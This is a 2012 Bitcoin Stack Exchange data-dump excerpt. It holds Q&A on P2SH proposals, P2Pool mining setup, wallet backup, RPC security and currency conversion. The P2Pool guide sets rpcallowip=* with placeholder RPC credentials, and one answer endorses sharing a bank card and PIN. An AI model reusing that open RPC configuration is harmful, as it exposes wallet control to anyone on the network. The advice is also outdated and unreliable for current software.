  <row Id="2635" PostTypeId="2" ParentId="2631" CreationDate="2012-01-19T01:36:15.277" Score="4" Body="&lt;p&gt;The most correct way is to create a merge-mined message tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just need a short number (a transaction id, for instance), you can embed it in the transfer itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's abuses... these cause excessive bloat the to must-be-stored-forever-by-all-full-nodes blockchain and harm Bitcoin. Please don't do these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can embed it as the &quot;address&quot; of a transfer, with a zero-amount output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btcmsg goes to an extreme and embeds it in the amounts of the transfer.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-19T01:36:15.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2636" PostTypeId="2" ParentId="2595" CreationDate="2012-01-19T01:51:02.997" Score="0" Body="&lt;p&gt;There are three BIPs which all aim to provide the push-to-script-hash (P2SH) feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP 12 (OP_EVAL): A new opcode takes a value off the stack (from anywhere) and executes it as if it were part of the Script itself.&lt;ul&gt;&lt;li&gt;Disadvantages: This makes Bitcoin Scripting turing-complete (it enables loops), and not statically analyzable.&lt;/li&gt;&lt;li&gt;Advantages: You can do things that require a turing-complete language in Scripts.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP 16: When a magic Script template is seen, after the Script is done executing clients must then execute the top stack item also.&lt;ul&gt;&lt;li&gt;Disadvantages: Requires special-casing a Script template and behaving differently than simply executing it as a Script. Cannot be used in combination with the current Bitcoin Script protocol, yet does not deprecate it.&lt;/li&gt;&lt;li&gt;Advantages: Retains the current mostly-staticly-analyzable status of Scripts.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP 17 (OP_CHECKHASHVERIFY): A new opcode hashes the Script that has already been executed, and simply compares it to the top stack item.&lt;ul&gt;&lt;li&gt;Disadvantages: Cannot be used to evaluate code in any capacity.&lt;/li&gt;&lt;li&gt;Advantages: Statically analyzable using the same exact method as right now, and only requires a trivial opcode addition without restructuring the entire Script protocol.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note, that BIP 17 does not preclude BIP 12 or 16 from being implemented in the future, should some other need for their more complicated capabilities arise.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-19T01:51:02.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2637" PostTypeId="2" ParentId="2553" CreationDate="2012-01-19T01:55:18.563" Score="1" Body="&lt;p&gt;Miners can choose any fee schedule they want. However, a fixed fee has proven problematic on scamcoin chains like Solidcoin, when people create huge (data-size) transactions.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-19T01:55:18.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2638" PostTypeId="1" CreationDate="2012-01-19T02:42:41.823" Score="4" ViewCount="4386" Body="&lt;p&gt;I am new, but have a big idea about bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a distributed computing project known as Fold at Home. What if its software were used for the generation of something instead of for a menial, useless task? Fold at home distributes datapackets that need to be worked on by computers. Once computers finish the work, they send a report of the data back to the host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if Bitcoin mining were, instead, Folding at home? if the programs could be made compatible, then bitcoin mining would also be donating something to a good cause.&lt;/p&gt;&#xA;" OwnerUserId="946" LastEditorUserId="5406" LastEditDate="2016-01-20T21:01:49.990" LastActivityDate="2016-01-20T21:01:49.990" Title="Merge Bitcoin Mining with Fold at Home!" Tags="|mining-theory|" AnswerCount="3" CommentCount="2" ClosedDate="2013-04-27T20:07:11.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="2639" PostTypeId="2" ParentId="2638" CreationDate="2012-01-19T06:03:21.423" Score="7" Body="&lt;p&gt;Folding@home work is not compatible with the required properties of the work that needs to be performed for bitcoin. In particular, the computation work required for bitcoin mining needs to assure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(a) difficulty of getting a 'good' result&lt;/li&gt;&#xA;&lt;li&gt;(b) ease of verification of a good result once it is found&lt;/li&gt;&#xA;&lt;li&gt;(c) precise scaling of difficulty depending on total network power.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The folding@home problems provide neither assurance of difficulty nor are in any way easy to scale depending on network power (since each folding problem is unique). They probably do meet the (b) ease of verification, but not the other criteria.&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="4748" LastEditDate="2013-06-16T09:11:41.747" LastActivityDate="2013-06-16T09:11:41.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2640" PostTypeId="1" CreationDate="2012-01-19T06:12:00.147" Score="1" ViewCount="1819" Body="&lt;p&gt;I wanted to try out P2Pool mining, so I installed the newest Bitcoin (0.5.2, also tried it with 0.5.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately when I start run_p2pool.exe it immediately crashes my Bitcoin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS: Win7 x64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="948" LastEditorUserId="5406" LastEditDate="2016-03-25T11:40:02.150" LastActivityDate="2016-03-25T11:40:02.150" Title="P2Pool crashes the Bitcoin client" Tags="|mining-pools|p2pool|mining-software|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2642" PostTypeId="1" CreationDate="2012-01-19T09:14:58.023" Score="2" ViewCount="784" Body="&lt;p&gt;I started mining with P2Pool / cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-qt.exe is running. run_p2pool.exe is running. cgminer is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all I get are rejects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be the problem?&lt;/p&gt;&#xA;" OwnerUserId="948" LastEditorUserId="323" LastEditDate="2012-01-19T12:59:12.083" LastActivityDate="2012-01-19T22:44:57.570" Title="P2Pool - I get only rejects" Tags="|bitcoin-core|p2pool|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2643" PostTypeId="2" ParentId="2640" CreationDate="2012-01-19T09:43:57.247" Score="2" Body="&lt;p&gt;I wrote a solution to this problem two days ago:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to use p2pool with an accompanying standalone bitcoind&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(since the windows gui version of bitcoin 0.5.1 crashes frequently when used with p2pool)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Assumptions:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OS&lt;/strong&gt;: Windows 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin&lt;/strong&gt;: Latest stable release installed and working - &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.5.1/bitcoin-0.5.1-win32-setup.exe/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.5.1/bitcoin-0.5.1-win32-setup.exe/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;p2pool&lt;/strong&gt;: you'll be slightly off the beaten path with this&#xA;   configuration as you're specifying the bitcoin address to send&#xA;   generated bitcoins and not using the second bitcoin processes wallet&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download latest current p2pool code and extract to&#xA;&quot;%programfiles%\p2pool&quot; -&#xA;&lt;a href=&quot;https://github.com/forrestv/p2pool/zipball/master&quot; rel=&quot;nofollow&quot;&gt;https://github.com/forrestv/p2pool/zipball/master&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install latest Python 2.7 (if you get 64bit, you'll need&#xA;64bit versions of the packages below) -&#xA;&lt;a href=&quot;http://www.python.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://www.python.org/download/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install python extension package twisted -&#xA;&lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted&quot; rel=&quot;nofollow&quot;&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install python extension package zope.interface -&#xA;&lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/#zope.interface&quot; rel=&quot;nofollow&quot;&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/#zope.interface&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install python extension package pil -&#xA;&lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil&quot; rel=&quot;nofollow&quot;&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install python extension package pygame -&#xA;&lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil&quot; rel=&quot;nofollow&quot;&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your Bitcoin GUI client if it is not running and generate a new&#xA;address, take note of the generated address and close your Bitcoin&#xA;GUI client&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit your existing &quot;%appdata%\bitcoin\bitcoin.conf&quot; and unless you&#xA;know what you're doing, change what ever is there to this and if the&#xA;file does not exist - create it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logtimestamps=1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the folder &quot;%programfiles%\p2pool\bitcoind-data&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create &quot;%programfiles%\p2pool\bitcoind-data\bitcoin.conf&quot; with your&#xA; favorite text editor and populate it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;logtimestamps=1&#xA;port=18333&#xA;rpcport=18332&#xA;rpcuser=bitcoinusername&#xA;rpcpassword=bitcoinpassword&#xA;rpcallowip=*&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take note of the folder name of the latest current p2pool code - it&#xA; is in &quot;%programfiles%\p2pool&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create &quot;%programfiles%\p2pool\p2pool.cmd&quot; with your favorite text&#xA; editor and populate it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;title p2pool&#xA;echo.&#xA;echo running p2pool ...&#xA;echo.&#xA;C:\Python27\python.exe &quot;%programfiles%\p2pool\folder-name-of-the-latest-current-p2pool-code\run_p2pool.py&quot; --net bitcoin --address yourbitcoinaddresshere --bitcoind-address 127.0.0.1 --bitcoind-rpc-port 18332 --bitcoind-p2p-port 18333 bitcoinusername bitcoinpassword&#xA;echo.&#xA;echo p2pool stopped.&#xA;echo.&#xA;pause&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;title p2pool&#xA;echo.&#xA;echo running p2pool ...&#xA;echo.&#xA;C:\Python27\python.exe &quot;%programfiles%\p2pool\forrestv-p2pool-4f6c2e2\run_p2pool.py&quot; --net bitcoin --address 12uN6G1uAtn7G29qfTdLD9des4y63Whr61 --bitcoind-address 127.0.0.1 --bitcoind-rpc-port 18332 --bitcoind-p2p-port 18333 bitcoinusername bitcoinpassword&#xA;echo.&#xA;echo p2pool stopped.&#xA;echo.&#xA;pause&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create &quot;%programfiles%\p2pool\bitcoind.cmd&quot; with your favorite text&#xA;editor and populate it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;title bitcoind&#xA;echo.&#xA;if exist &quot;%programfiles%\bitcoin\daemon\bitcoind.exe&quot; (set programfilesx86=0)&#xA;if exist &quot;%programfiles(x86)%\bitcoin\daemon\bitcoind.exe&quot; (set programfilesx86=1)&#xA;if %programfilesx86%==0 (goto :programfiles)&#xA;if %programfilesx86%==1 (goto :programfilesx86)&#xA;echo ERROR! bitcoind.exe not found in either &quot;%programfiles%\bitcoin\daemon\&quot; or &quot;%programfiles(x86)%\bitcoin\daemon\&quot; - giving up!&#xA;echo.&#xA;pause&#xA;goto:eof&#xA;:programfiles&#xA;echo running bitcoind.exe from &quot;%programfiles%\Bitcoin\daemon\&quot; ...&#xA;&quot;%programfiles%\Bitcoin\daemon\bitcoind.exe&quot; -datadir=&quot;%programfiles%\p2pool\bitcoind-data&quot;&#xA;echo.&#xA;echo bitcoind stopped.&#xA;echo.&#xA;pause&#xA;goto:eof&#xA;:programfilesx86&#xA;echo running bitcoind.exe from &quot;%programfiles(x86)%\Bitcoin\daemon\&quot; ...&#xA;&quot;%programfiles(x86)%\Bitcoin\daemon\bitcoind.exe&quot; -datadir=&quot;%programfiles%\p2pool\bitcoind-data&quot;&#xA;echo.&#xA;echo bitcoind stopped.&#xA;echo.&#xA;pause&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;List item&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy blk*.dat from %appdata%\bitcoin to&#xA; %programfiles%\p2pool\bitcoind-data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run &quot;%programfiles%\p2pool\bitcoind.cmd&quot;&#xA;Run &quot;%programfiles%\p2pool\p2pool.cmd&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should now be able to mine on your machine to 127.0.0.1:9332 or to your machines IP on port 9332 on your LAN :)&lt;/p&gt;&#xA;" OwnerUserId="382" LastActivityDate="2012-01-19T09:43:57.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2645" PostTypeId="1" CreationDate="2012-01-19T15:20:26.143" Score="7" ViewCount="7153" Body="&lt;p&gt;I am using Ubuntu 11.10. I have downloaded Bitcoin-Qt, but I don't think it has installed itself. The instructions say &quot;download and install&quot; the software, but I'm afraid I need instructions that are a little more specific. If you can tell me how to install the software it would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="950" LastEditorUserId="5406" LastEditDate="2014-02-09T09:34:37.007" LastActivityDate="2021-02-22T17:35:47.073" Title="Installing Bitcoin-Qt on Ubuntu" Tags="|bitcoin-core|ubuntu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2646" PostTypeId="2" ParentId="116" CreationDate="2012-01-19T17:04:18.543" Score="-3" Body="&lt;p&gt;If bitcoin continues without a solution to this little problem, it will be the undoing of the system.  If enough people loose their wallets, bye-bye bitcoin.  It's gone.  It's a ledger of transactions recording anonymous losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is not as durable as everyone is claiming.  If a paper dollar gets torn, the banks take it out of circulation and replace it.  If it gets lost in a landfill, the money pool is expanding and it's no great loss.  With Bitcoin, the only thing to do to compensate for a loss is to further divide the currency.  I love the sound of buying something for a femto-bit.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2012-01-19T17:04:18.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2647" PostTypeId="1" AcceptedAnswerId="2648" CreationDate="2012-01-19T18:26:57.157" Score="3" ViewCount="1766" Body="&lt;p&gt;I'm using the standard commandline client (under OSX, in case this matters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read in some threads that it is smart enough to pregenerate 100+ addresses to be used in future when you ask them, so that if you backup an earlier wallet, the future private keys are not lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be cool, but how do I check it is really true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I &quot;get a new address&quot;, it seemed to me it took enough time to suspect it was generating it on the fly, not using it from a pregenerated pool. Maybe it was slow for other reasons, though, and that's why I'd like to check somehow.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2020-02-07T12:38:33.647" Title="How do I know my wallet.dat actually already contains 100+ addresses ready to be used?" Tags="|bitcoin-core|address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2648" PostTypeId="2" ParentId="2647" CreationDate="2012-01-19T18:36:06.660" Score="5" Body="&lt;p&gt;you can check by directly exploring the content of your wallet.dat file, which is a bdb database. there are various tools for exploring the wallet, one of which is gavin's bitcointools: &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another exporter is &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;pywallet.py&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="196" LastEditDate="2012-01-27T23:04:17.287" LastActivityDate="2012-01-27T23:04:17.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2649" PostTypeId="2" ParentId="2645" CreationDate="2012-01-19T18:55:46.497" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;sudo add-apt-repository ppa:luke-jr/bitcoincore&lt;/li&gt;&#xA;&lt;li&gt;sudo apt-get update&lt;/li&gt;&#xA;&lt;li&gt;sudo apt-get install bitcoin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="942" LastEditorUserId="3347" LastEditDate="2021-02-22T17:35:47.073" LastActivityDate="2021-02-22T17:35:47.073" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="2650" PostTypeId="1" CreationDate="2012-01-19T21:29:43.980" Score="11" ViewCount="1181" Body="&lt;p&gt;For years we've been paying exorbitant fees just to transfer our own hard-earned money from one country to another.  I'm in Poland at the moment and find I need to transfer funds from my US checking account to a local one (mBank) regularly to pay family bills etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Citibank for instance quietly dings me over 2.5% lower exchange rate than the current central bank rates, and about an additional 3% for &quot;foreign transfer fee&quot; against my account.  No credit card--That's just using my ATM/debit card at a &quot;local&quot; Citibank S.A. teller.  I would prefer a bank-to-bank xfer (not an expensive wire xfer) rather than have to drive to the city anyway, only during that one ATM's operating hours etc.&#xA;  Paypal is not much better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin be used as an intermediary?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USD --&amp;gt; BTC --&amp;gt; PLN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I like the idea of going through two exchanges ACH'd to my bank accounts on each side, but do their transaction fees and currency conversion rates make it worth the while?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, apparently last year 2011 there was still one online service able transfer PLN to/from your Bitcoin address, now they are shut down.  Anyone know others methods to cash out of BTC in PL?&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="153" LastEditDate="2012-01-19T22:53:34.280" LastActivityDate="2012-01-20T13:45:33.040" Title="How can I convert Bitcoins for withdrawal to PLN" Tags="|currencies|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2651" PostTypeId="1" AcceptedAnswerId="2652" CreationDate="2012-01-19T21:54:19.787" Score="9" ViewCount="2314" Body="&lt;p&gt;How secure is &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Python&quot;&gt;calling bitcoind through a JSON-RPC&lt;/a&gt;? For example, if I run it on one of my computers, and try calling it from another computer (provided neither of them are compromised), can someone intercept my communication and gain my RPC username and password? &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-28T08:18:20.187" Title="How secure is calling bitcoind JSON-RPC?" Tags="|security|wallet|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2652" PostTypeId="2" ParentId="2651" CreationDate="2012-01-19T22:28:52.457" Score="10" Body="&lt;p&gt;Yes, they can. Unless you enable RPC-over-SSL, the username and password are send Base64 encoded as a header in the HTTP request, which is easily decoded.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-19T22:28:52.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2653" PostTypeId="2" ParentId="2650" CreationDate="2012-01-19T22:31:06.137" Score="4" Body="&lt;p&gt;The answer is yes, if:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You can find local sources to convert to and from Bitcoins;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The total cost of those two conversions is competitive; and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The risk, delay, inconvenience and other such factors are favorable or at least manageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think in many cases, point 3 may be the killer.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-19T22:31:06.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2654" PostTypeId="2" ParentId="2642" CreationDate="2012-01-19T22:44:57.570" Score="1" Body="&lt;p&gt;This might mean your internet connection is too slow. With p2pool, you are basically competing against all the other miners for internet latency. If you have bandwidth-intensive software running (downloads, uploads) try stopping it.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-19T22:44:57.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2655" PostTypeId="2" ParentId="2650" CreationDate="2012-01-19T22:54:10.130" Score="11" Body="&lt;p&gt;Intersango trades BTC/PLN and offers free domestic withdrawal as PLN.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://intersango.com/fees.php&quot;&gt;https://intersango.com/fees.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://intersango.com/orderbook.php?currency_pair_id=4&quot;&gt;https://intersango.com/orderbook.php?currency_pair_id=4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-01-19T22:54:10.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2656" PostTypeId="1" AcceptedAnswerId="2657" CreationDate="2012-01-20T03:24:34.317" Score="11" ViewCount="1999" Body="&lt;p&gt;I'd like to setup an automated process to email my encrypted wallet to myself, so that if, for instance, my house burns down, I've got easy access to a recent copy of my wallet stored off-site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this mentioned in a couple places as a method for backing up a wallet, but none of the more thorough security guides I've read mention this as either a good or bad thing to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is this a stupidly insecure thing to do, or a reasonable means of keeping a regular automated off-site backup of a wallet?&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="843" LastEditDate="2012-01-20T16:48:14.913" LastActivityDate="2013-01-13T05:26:15.850" Title="Is it safe to email an encrypted wallet to myself?" Tags="|security|wallet|backup|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2657" PostTypeId="2" ParentId="2656" CreationDate="2012-01-20T07:09:16.127" Score="7" Body="&lt;p&gt;The wallet.dat contains not just encryption keys but addresses as well.  If you are using the encrypt feature from the Bitcoin client to encrypted the keys then mailed to yourself those keys in the wallet would be secure assuming you used a strong passphrase and that passphrase is not used elsewhere.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the transactions in that wallet can be viewed by anyone with access to the backup file.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-01-21T07:23:24.827" LastActivityDate="2012-01-21T07:23:24.827" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2658" PostTypeId="2" ParentId="2478" CreationDate="2012-01-20T08:49:46.353" Score="1" Body="&lt;p&gt;Correct locations might be either &lt;code&gt;~/Library/Application Support/Diablominer&lt;/code&gt; or &lt;code&gt;~/.diablominer&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it might be in in an incorrect location. Super Meat Boy, for instance, stores its configuration inside the .app itself (brrr). To check there you have to right click the app and &quot;show package contents&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to find this configuration file, if you already know at least the file name, is casting &lt;code&gt;find ~ -name filename&lt;/code&gt;, hoping at least it is somewhere in your home directory.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-01-20T08:49:46.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2659" PostTypeId="2" ParentId="2656" CreationDate="2012-01-20T09:24:09.277" Score="9" Body="&lt;p&gt;&lt;strong&gt;You can trust encryption&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you encrypt anything using a strong key and a strong algorithm (e.g. GPG) then you can be sure that it will be beyond economical reach for anyone for a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the general procedure would be&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Encrypt wallet.dat with your long and complex passphrase (which you keep safe)&lt;/li&gt;&#xA;&lt;li&gt;Attach the ciphertext output to your email&lt;/li&gt;&#xA;&lt;li&gt;Enjoy the free offline backup service&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Do not just attach wallet.dat to the email since it will reveal your transaction history and bind your public addresses directly to you thereby removing your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-01-20T09:24:09.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2660" PostTypeId="1" AcceptedAnswerId="2770" CreationDate="2012-01-20T09:37:49.957" Score="4" ViewCount="151" Body="&lt;p&gt;Currently, the standard client supports encryption, but only for actions that change its state (send money, generate address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the client to require two passwords - one to view any information, and another for mutating it (send money, generate address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this feature planned?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-27T03:14:42.463" Title="Is two-phase encryption planned for the standard client?" Tags="|bitcoin-core|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2661" PostTypeId="2" ParentId="2650" CreationDate="2012-01-20T09:40:05.990" Score="2" Body="&lt;p&gt;This is not an answer to your question, but an alternate way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I live I can get an ATM card for free (no yearly fee) but with a withdraw fee if&#xA;abroad ($5?). I tranfer this card and its code to the relative that needs money (I&#xA;brought it with me when I visited last time); this is most probably not approved/legal&#xA;from the bank's view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the relative can get ~$200 (maximum withdrawal amount per withdrawal) for ~$5, a&#xA;&quot;fee&quot; of 2.5%.&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="196" LastEditDate="2012-01-20T13:45:33.040" LastActivityDate="2012-01-20T13:45:33.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2662" PostTypeId="2" ParentId="2656" CreationDate="2012-01-20T10:49:20.213" Score="5" Body="&lt;p&gt;You can also use hushmail.com for emailing an encrypted wallet file to yourself for backup. It is an added layer of protection and when utilized in this way, it acts as an online wallet accessible anywhere.&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2012-01-20T10:49:20.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2663" PostTypeId="2" ParentId="2374" CreationDate="2012-01-20T15:00:28.933" Score="5" Body="&lt;p&gt;Blockchain.info now also supports HTTP Post. See &lt;a href=&quot;https://blockchain.info/wallet/payment-notifications&quot;&gt;https://blockchain.info/wallet/payment-notifications&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-01-20T15:00:28.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
